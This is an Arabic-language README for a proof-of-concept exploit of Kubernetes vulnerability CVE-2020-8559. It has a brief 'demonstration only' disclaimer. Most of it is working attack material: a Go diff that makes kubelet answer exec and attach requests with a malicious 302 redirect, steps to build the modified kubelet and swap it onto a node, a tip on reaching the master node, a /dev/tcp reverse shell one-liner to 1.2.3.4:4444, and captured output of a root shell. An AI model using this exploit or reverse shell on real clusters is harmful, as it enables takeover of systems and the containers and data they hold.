
هذا هو استغلال PoC لثغرة CVE-2020-8559 في Kubernetes
هذا لأغراض العرض التوضيحي فقط. يُستخدم فقط على الأنظمة التي لديك الإذن بتنفيذ إجراءات إدارية عليها، ويُصرّح لك باستغلال CVE-2020-8559 عليها
هذا هو PoC لثغرة CVE-2020-8559. تسمح هذه الثغرة لمهاجم حصل على صلاحيات root على إحدى العُقد بتنفيذ أوامر على أي حاوية أخرى في الكتلة، مما يسمح للمهاجم بالسيطرة على العقدة الرئيسية لـ Kubernetes (Kubernetes Master Node).
تعود هذه الثغرة إلى حقيقة أن خادم API الخاص بـ Kubernetes وأمر kubectl يتبعان عمليات إعادة التوجيه HTTP (HTTP Redirects)، بالإضافة إلى حقيقة أن Kubernetes API يضع جميع مكونات طلب API في عنوان URL، أي اسم Node واسم Pod واسم Container وحتى الأمر. لذلك، إذا استجابت عملية Kubelet إلى /exec أو /attach أو /portforward أو أي إجراء resource: proxy بإعادة توجيه HTTP 302 مع ترويسة Location تطلب تنفيذ أمر مختلف على Node مختلفة في حاوية مختلفة، فإن خادم API الخاص بـ Kubernetes أو أمر kubectl سيقومان بكل بساطة بتقديم طلب جديد لأي شيء موجود في ترويسة Location.
يمكنك تنزيل نسختي المعدّلة من Kubernetes والتبديل إلى فرعي لبناء ملف kubelet الثنائي المستخدم في الاستغلال.
يعتمد هذا الفرع على وسم v1.15.9.
git clone -b CVE-2020-8559 --single-branch [email protected]:tdwyer/kubernetes.git
diff --git a/pkg/kubelet/server/server.go b/pkg/kubelet/server/server.go
index c1f1975fe43..8459802755e 100644
--- a/pkg/kubelet/server/server.go
+++ b/pkg/kubelet/server/server.go
@@ -867,6 +867,28 @@ func (s *Server) ServeHTTP(w http.ResponseWriter, req *http.Request) {
method, path := req.Method, trimURLPath(req.URL.Path)
+ ////
+ ////
+ // If path is vulnerable to CVE-2020-8559 send 302 redirect with malicious Location header
+ ////
+ ////
+ protocol := "https"
+ // If attacking requests from admins using the kubectl command
+ // host == hostname of the Kubernetes API server obtained from `kubectl -v 8 get pods`
+ // If attacing the Kubernetes API Server
+ // host == hostname of the Node the Victim container is running on
+ host := "internal-api-123456-123456789.us-west-2.elb.amazonaws.com"
+ namespace := "kube-system"
+ pod := "kcd-7cfbb97c64-p4kf2"
+ container := "kcd"
+ command := "hostname"
+ if strings.Contains(req.URL.Path, "/exec") || strings.Contains(req.URL.Path, "/attach") || strings.Contains(req.URL.Path, "/portforward") {
+ fmt.Println("--------------------------------------------------------------")
+ fmt.Println("Sending Redirect")
+ fmt.Println("--------------------------------------------------------------")
+ http.Redirect(w, req, protocol+"://"+host+"/api/v1/namespaces/"+namespace+"/pods/"+pod+"/exec?command="+command+"&container="+container+"&stderr=true&stdout=true", 302)
+ }
+
longRunning := strconv.FormatBool(isLongRunningRequest(path))
servermetrics.HTTPRequests.WithLabelValues(method, path, serverType, longRunning).Inc()
سيرسل هذا الـ PoC مجرد إعادة توجيه HTTP 302 مع ترويسة Location مكتوبة بشكل ثابت (hard coded)، لذا ستحتاج إلى تعديل kubernetes/pkg/kubelet/server/server.go وتحديث host وnamespace وpod وcontainer وcommand
نصيحة احترافية: اذكر جميع Pods في الكتلة. ثم قم بإعداد هذا لتنفيذ أوامر على Pod يعمل على العقدة الرئيسية لـ Kubernetes من أجل بدء قشرة عكسية إليك للسيطرة على الكتلة
بعد إعداد الهجوم، قم ببناء ملف kubelet ثنائي مزيّف
cd ~/go/src/k8s.io/kubernetes
GO111MODULE=on go mod download
cd ~/go/src/k8s.io/kubernetes/cmd/kubelet
go build
kubelet الثنائي المزيّف إلى العقدةkubelet واستبدل الملف الثنائي بالملف المزيّفkubeletps aux |grep kubeletkubelet وانسخ الملف الثنائي المزيّف إلى مكانهsudo kill $PID ; sudo cp kubelet /usr/local/bin/kubeletkubelet مرة أخرى حتى يعاد تشغيلها مع الملف الثنائي المزيّفkubeletps aux |grep kubeletkubeletsudo kill $PIDkubectl على محطة عمله المحلية، فيجب أن يُرجع هذا الأمر اسم المضيف للحاوية الضحية بدلاً من الحاوية التي كان ينبغي تنفيذ الأمر عليها[0038][tdwyer@tdwyer-nuc:~/CVE-2020-8559]$ kubectl exec attacker-5cf89b94db-xdbfm -- date
kcd-7cfbb97c64-p4kf2
يمكنك أيضًا بدء قشرة عكسية إليك من أي حاوية باستخدام
nc -lv 4444/bin/sh -i >& /dev/tcp/1.2.3.4/4444 0>&1نجاح :D
[1617][tdwyer@tdwyer-nuc:~]$ nc -lvk 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 9.8.7.6.in-addr.arpa 46828 received!
bash-5.0#